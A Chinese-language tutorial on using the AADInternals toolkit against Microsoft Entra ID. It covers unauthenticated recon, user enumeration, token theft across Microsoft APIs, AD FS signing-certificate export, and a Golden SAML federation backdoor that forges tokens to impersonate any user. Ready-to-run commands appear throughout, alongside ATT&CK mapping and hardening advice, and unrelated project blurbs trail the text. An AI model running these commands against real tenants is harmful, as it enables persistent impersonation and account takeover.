使用 AADInternals 审计 Microsoft Entra ID:从外部侦察到 Golden SAML 联合后门验证(T1606.002)
法律声明: 本文所涉技能仅限用于经授权的安全测试、红队演练与教学研究。AADInternals 能够伪造 SAML 令牌、植入联合身份后门,从而以任意租户用户的身份实现持久化冒用。请仅对您拥有或已获得明确书面授权(rules of engagement)的租户执行测试。未经授权使用将违反《计算机欺诈和滥用法》(CFAA)及同等效力的法律法规。本文所有命令均须在授权范围内执行。
导读
本文以开源仓库 Anthropic-Cybersecurity-Skills 中的 auditing-entra-id-with-aadinternals 技能为骨架,完整讲解如何驾驭 AADInternals PowerShell 工具包,对 Microsoft Entra ID(原 Azure AD)执行从零凭据的外部侦察、Microsoft 第一方 API 的访问令牌获取,以及联合身份 / AD FS 后门(Golden SAML,对应 MITRE ATT&CK T1606.002)的受控验证。读完本文,你将掌握 AADInternals 的安装、核心 cmdlet 的调用链路、底层公共端点的取证原理,以及如何以防御验证视角产出暴露面证据与加固建议。该技能完整内容见 SKILL.md,配套的 cmdlet 参数速查见 api-reference.md,框架映射依据见 standards.md。
一、AADInternals 是什么
AADInternals 是面向 Microsoft Entra ID、Azure AD Connect 与 Active Directory Federation Services(AD FS)的最全面的攻防一体化 PowerShell 工具包,作者为 Dr. Nestori Syynimaa(Gerenios / Secureworks)。它暴露了数百个 cmdlet(全部以 AADInt 前缀命名),覆盖:
- 无凭据的外部侦察(outsider reconnaissance);
- 面向每一个 Microsoft API 的访问令牌获取;
- 目录对象操作;
- AD FS / PTA(Pass-Through Authentication)攻击;
- 以及其最著名的能力:联合身份后门——通过
Set-MsolDomainFederationSettings/ConvertTo-AADIntBackdoor路径,攻击者控制联合域名的IssuerUri后,即可为任意用户铸造 SAML 令牌,映射到 MITRE ATT&CK T1606.002(伪造 Web 凭据:SAML 令牌),与 SolarWinds(Golden SAML)入侵事件中使用的技术属于同一类别。
工具包按所需权限位置对能力分层:
| 能力层 | 所需凭据 | 典型 cmdlet |
|---|---|---|
| 外部侦察 | 无 | Invoke-AADIntReconAsOutsider、Get-AADIntLoginInformation |
| 令牌获取 | 有效凭据 | Get-AADIntAccessTokenFor* 系列 |
| 目录枚举 | 令牌 | Get-AADIntUsers、Get-AADIntTenantDetails |
| 联合后门 / Golden SAML | Global Administrator(或同步的 AD Connect 账户) | ConvertTo-AADIntBackdoor、New-AADIntSAMLToken |
无凭据阶段查询的是公共端点(getuserrealm、OpenID configuration、autodiscover),用于揭示已验证域名、租户 ID、联合类型、品牌以及是否启用了 Desktop/Seamless SSO。取得立足点后,Get-AADIntAccessTokenFor* 系列 cmdlet 可为 Azure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Management 等获取令牌,并可通过缓存机制供后续 cmdlet 自动复用。具备 Global Administrator(或同步的 AD Connect 账户)权限后,即可读取目录机密、操作用户并建立联合后门。
本技能从防御验证视角驱动 AADInternals:确认外部攻击者能学到什么、低权限令牌能触达什么、联合身份/AD FS 配置是否允许 Golden SAML——随后产出证据与加固建议。
二、适用场景(When to Use)
- 在经授权的 Entra ID / Microsoft 365 红队或假设失陷(assumed-breach)评估期间;
- 在凭据攻击之前枚举外部攻击面(已验证域名、联合类型、SSO 状态);
- 验证联合身份与 AD FS 令牌签名证书是否受到针对 Golden SAML 的保护;
- 测试令牌获取与在 Microsoft 第一方 API 之间的重放;
- 构建检测规则时(可搭配仓库中的 detecting-entra-offensive-tools-in-graph-logs 蓝队技能),需要真实的 AADInternals 遥测数据。
三、前置条件与安装
- 覆盖身份攻击与联合后门测试的书面授权;
- 安装有 PowerShell 5.1+(或其支持子集上的 PowerShell 7)的 Windows 主机;
- 后门/联合测试需要目标租户的 Global Administrator(或同等权限),且须在规则范围(ROE)内;
- 熟悉 SAML/WS-Federation、OAuth 令牌与 Azure AD Connect。
从 PowerShell Gallery 安装模块:
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
本技能目录 scripts/agent.py 提供了一个跨平台的补充入口:其 recon 子命令用纯 Python 实现与 Invoke-AADIntReconAsOutsider 相同的无凭据外部侦察(无需 Windows / PowerShell 环境),而 run 子命令则作为 PowerShell 启动器,用于调用需要凭据或后门操作的 AADInternals cmdlet。
四、MITRE ATT&CK 映射
| ID | 技术 | 在本技能中的应用 |
|---|---|---|
| T1606.002 | 伪造 Web 凭据:SAML 令牌 | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken 通过受控的联合 IssuerUri 为任意用户伪造 SAML 令牌(Golden SAML) |
相关技术:T1087.004 账户发现:云账户(侦察)、T1528 窃取应用程序访问令牌(令牌获取)、T1556.007 修改身份验证流程:混合身份(联合/PTA 后门)。完整的映射及理由说明见 standards.md,其中还包含 NIST CSF 2.0 的 ID.AM-03(组织通信与数据流已映射) 映射——外部侦察与已认证枚举恰好映射了租户身份面、联合信任流,以及哪些 API/令牌能触达哪些数据。
五、完整工作流
第 1 步:无凭据外部侦察(Outsider Reconnaissance)
无需任何凭据,即可识别已验证域名、租户 ID、联合类型、品牌与 SSO 状态。
# 对某域名执行完整外部侦察(表格输出)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# 登录/realm 详情:联合 vs 托管、AuthURL、品牌
Get-AADIntLoginInformation -Domain "target.com"
# 租户 GUID
Get-AADIntTenantID -Domain "target.com"
底层原理(结合仓库源码): 该步骤之所以"无凭据",是因为它只命中 Microsoft 的公共端点。仓库脚本 scripts/agent.py 给出了这两个端点的镜像实现,可直接在无 Windows 环境时复现:
get_user_realm():请求https://login.microsoftonline.com/getuserrealm.srf?login=nn@<domain>&xml=0。返回的NameSpaceType字段直接区分**联合(Federated)与托管/云(Managed/cloud)**认证;FederationBrandName/AuthURL则揭示品牌与联合认证入口;get_tenant_id():请求https://login.microsoftonline.com/<domain>/.well-known/openid-configuration,从issuer字段(形如https://sts.windows.net/<tenant-guid>/)中提取租户 GUID。
也就是说,攻击者在拿到任何有效凭据之前,仅凭域名就能确认目标是否走联合认证、联合入口在哪、租户标识是什么——这为后续 Golden SAML 攻击面的研判提供了第一手证据。
第 2 步:外部用户枚举(可选,有噪音)
通过 GetCredentialType / autologon 端点验证用户名是否存在。
# 测试单个候选 UPN 是否存在
Invoke-AADIntUserEnumerationAsOutsider -UserName "user1@target.com"
# 或批量管道输入
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
此步对应 T1087.004(账户发现:云账户),在正式凭据攻击前可大幅缩小目标范围;但会留下明显的身份验证噪音,是否执行应依据 ROE 决定。
第 3 步:获取并缓存访问令牌
凭据有效(或交互式提示输入)后,为所需 API 获取令牌。-SaveToCache 让后续 cmdlet 自动复用该令牌。
# Azure AD Graph(遗留 graph.windows.net)令牌,并缓存
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph(graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
根据 api-reference.md 的令牌获取表,同一层级的 cmdlet 还包括:
| Cmdlet | 关键参数 | 用途 |
|---|---|---|
Get-AADIntAccessTokenForAADGraph |
-SaveToCache, -Credentials, -KerberosTicket |
Azure AD Graph(graph.windows.net)令牌 |
Get-AADIntAccessTokenForMSGraph |
-SaveToCache |
Microsoft Graph 令牌 |
Get-AADIntAccessTokenForEXO |
-SaveToCache |
Exchange Online 令牌 |
Get-AADIntAccessTokenForOneDrive |
-Tenant, -SaveToCache |
SharePoint/OneDrive 令牌 |
Get-AADIntAccessTokenForAzureCoreManagement |
-SaveToCache |
Azure Resource Manager 令牌 |
该能力对应 T1528(窃取应用程序访问令牌):一旦令牌落入攻击者之手并可在多个第一方 API 间复用,低权限凭据也能横向触达 Exchange、SharePoint、ARM 等数据平面。这也是为什么建议评估中逐项记录"哪个令牌可触达哪个 API"。
第 4 步:已认证目录枚举
利用已缓存/已获取的令牌读取目录对象,绘制权限地图。
# 全局租户信息(使用缓存的 AAD Graph 令牌)
Get-AADIntTenantDetails
# 枚举用户,标记高权限与已同步账户
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
api-reference.md 补充了更聚焦的枚举 cmdlet:Get-AADIntGlobalAdmins(列出全局管理员)、Get-AADIntServicePrincipals(枚举服务主体)。其中的 ImmutableId(不可变 ID)是第 6 步伪造 SAML 令牌时的关键输入,务必在此步记录。
第 5 步:检查联合身份 / AD FS 配置
判断租户是否使用联合域名、令牌签名密钥存放于何处——这是 Golden SAML 的前提条件。
# 若可访问 AD FS 服务器,导出令牌签名证书
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# 读取 AD FS 配置 / 加密密钥(在 AD FS 主机上或通过 DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
令牌签名证书一旦泄露(无论来自 AD FS 主机、备份、还是 DKM 密钥分发中的不当访问控制),攻击者即可离线铸造任意用户的 SAML 令牌而不触碰在线系统。此步的核心目标就是确认签名密钥的暴露面。
第 6 步:联合后门 / Golden SAML(仅限授权环境)
将域名转换为后门——设置已知的 IssuerUri——然后使用该域名的 ImmutableId 为目标用户伪造 SAML 令牌。仅在受控且获得明确授权的租户内执行。
# 需要第 3 步缓存的 Global Admin 令牌(AAD Graph)
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# 输出中包含伪造令牌时需复用的 IssuerUri。
# 伪造冒充某用户的 SAML 令牌(ImmutableId 来自 Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# 使用伪造令牌以被冒充用户身份打开门户会话
Open-AADIntOffice365Portal -SAMLToken $saml
api-reference.md 还记录了另一条变体路径:New-AADIntBackdoor -DomainName <fqdn> -Issuer <url>,用于新建一个后门联合域名,而 ConvertTo-AADIntBackdoor 则是将既有域名转换为后门(设置 IssuerUri),二者均需 Global Administrator 的 AAD Graph 令牌。
攻击原理: 当联合域名的 IssuerUri 被攻击者控制,且攻击者掌握(或伪造)与租户期望签名匹配的令牌签名证书(-UseBuiltInCertificate 即使用内置于 AADInternals 的已知私钥)时,Entra ID 会信任该发行方签发的 SAML 断言,从而为任意 ImmutableID 对应的用户签发会话。这正是 T1606.002 的核心机制,也是 SolarWinds Golden SAML 攻击的技术同源。
第 7 步:记录暴露面并加固
准确记录侦察揭示了什么、哪些令牌/API 可达、后门/Golden SAML 路径是否成功。加固建议包括:
- 保护 AD FS 令牌签名证书:放入 HSM,严格控制 DKM 访问;
- 对新建/变更的联合信任进行告警;
- 监控
Set-DomainAuthentication/Set-MsolDomainFederationSettings的调用行为; - 条件可行时迁移到托管(云)身份验证,从根本上消除自托管 AD FS 签名面。
六、Cmdlet 快速参考
| Cmdlet | 所需位置 | 用途 |
|---|---|---|
Invoke-AADIntReconAsOutsider |
无 | 已验证域名、租户 ID、联合类型、SSO |
Get-AADIntLoginInformation |
无 | 域名的 realm/登录详情 |
Get-AADIntTenantID |
无 | 租户 GUID |
Invoke-AADIntUserEnumerationAsOutsider |
无 | 验证用户是否存在 |
Get-AADIntAccessTokenForAADGraph |
凭据 | Azure AD Graph 令牌(-SaveToCache) |
Get-AADIntAccessTokenForMSGraph |
凭据 | Microsoft Graph 令牌 |
Get-AADIntAccessTokenForEXO |
凭据 | Exchange Online 令牌 |
Get-AADIntUsers |
令牌 | 枚举目录用户 |
ConvertTo-AADIntBackdoor |
Global Admin | 将域名转换为联合后门 |
New-AADIntSAMLToken |
后门 | 为用户伪造 SAML 令牌(Golden SAML) |
Open-AADIntOffice365Portal |
SAML 令牌 | 以被冒充用户身份打开门户会话 |
七、脚本辅助:跨平台运行与验证
仓库为 Windows 之外的验证场景提供了 scripts/agent.py。它的两个子命令设计目标如下:
# 纯 Python 无凭据外部侦察(不依赖 Windows / AADInternals)
python3 scripts/agent.py recon target.com --json
# 通过 PowerShell 启动任意 AADInternals cmdlet(需要已安装 pwsh/powershell 与 AADInternals 模块)
python3 scripts/agent.py run Get-AADIntAccessTokenForMSGraph -SaveToCache
其中 run 子命令从源码上看会优先探测 pwsh,其次回退到 powershell,并实际执行 Import-Module AADInternals; <cmdlet> <args> 形式的命令(见 scripts/agent.py)。它不替代 AADInternals 的完整功能,而是为 Linux/macOS 侧做侦察复现与命令调度的轻量桥梁。注意:无凭据侦察之外的阶段(令牌获取、目录枚举、后门测试)仍然必须在安装有完整 AADInternals 的 Windows 主机上进行。
八、验证标准(Validation Criteria)
一个完整的评估应逐项完成并留档:
- [ ] 完成外部侦察;记录已验证域名、租户 ID 与联合类型
- [ ] 用户枚举已测试(或记录为超出范围)
- [ ] 为至少一个 Microsoft API 获取并缓存访问令牌
- [ ] 执行已认证目录枚举(用户/角色,标注已同步账户)
- [ ] 评估联合身份 / AD FS 配置的令牌签名密钥暴露情况
- [ ] 在授权的受控租户中测试后门 / Golden SAML 路径(或记录为超出范围)
- [ ] 以具体影响记录暴露面
- [ ] 交付加固建议(证书保护、联合监控、托管认证迁移)
九、防御侧对照
本技能是攻击面验证工具,但每个阶段的产出都能直接转化为检测与加固输入:第 1、2 步产生的 getuserrealm、GetCredentialType 流量与用户枚举噪音可写入 SIEM 检测;第 3、4 步的令牌获取与目录读取模式对应 Graph 日志中的异常应用授权与批量读取;第 5、6 步的联邦配置变更(Set-MsolDomainFederationSettings 等)应是高优先级告警项。需要检测侧落地时,可对照仓库中的 detecting-entra-offensive-tools-in-graph-logs 技能,将本技能产生的真实 AADInternals 遥测作为验证样本。
十、局限性说明
- 第 6 步的后门测试需要 Global Administrator 权限,且只应在受控测试租户中执行——在生产租户中,
ConvertTo-AADIntBackdoor改变域名联合设置本身就会造成真实影响; Get-AADIntAccessTokenFor*系列需要有效凭据;无凭据阶段仅覆盖 AADInternals 能力的一个子集(外部侦察与用户枚举);New-AADIntSAMLToken的-UseBuiltInCertificate使用工具内置证书,仅适用于测试场景;真实攻击中攻击者会使用泄露的正式签名证书,因此第 5 步对真实证书暴露的评估仍是防御验证的核心目标。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0632
MiniCPM5-2BMiniCPM5-2B 是一款面向端侧、本地部署和资源受限场景的 2B 稠密 Transformer,能够达到同尺寸开源模型 SOTA 水平。Markdown00
video-shotcraftAI宣传片skill,使用 Remotion 制作电影级产品视频:提供106 张镜头配方卡和可复用的视频魔板。适用于 Claude Code 与 Codex以及所有其他智能体Markdown00
HivisionIDPhotos⚡️HivisionIDPhotos: a lightweight and efficient AI ID photos tools. 一个轻量级的AI证件照制作算法。Python09
DragonOSDragonOS is an operating system developed from scratch using Rust, with Linux compatibility. It is designed for **Serverless** scenarios. 使用Rust从0自研内核,具有Linux兼容性的操作系统,面向云计算Serverless场景而设计。Rust00
Spark-X2.5-1.7BSpark-X2.5-1.7B 旨在让强大的 AI 更加实用、高效且易于获取。这些模型在广泛的日常任务中表现出色,涵盖对话、写作、翻译、推理、编程、工具调用和智能体工作流,并在同等规模的开源模型中取得领先结果。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00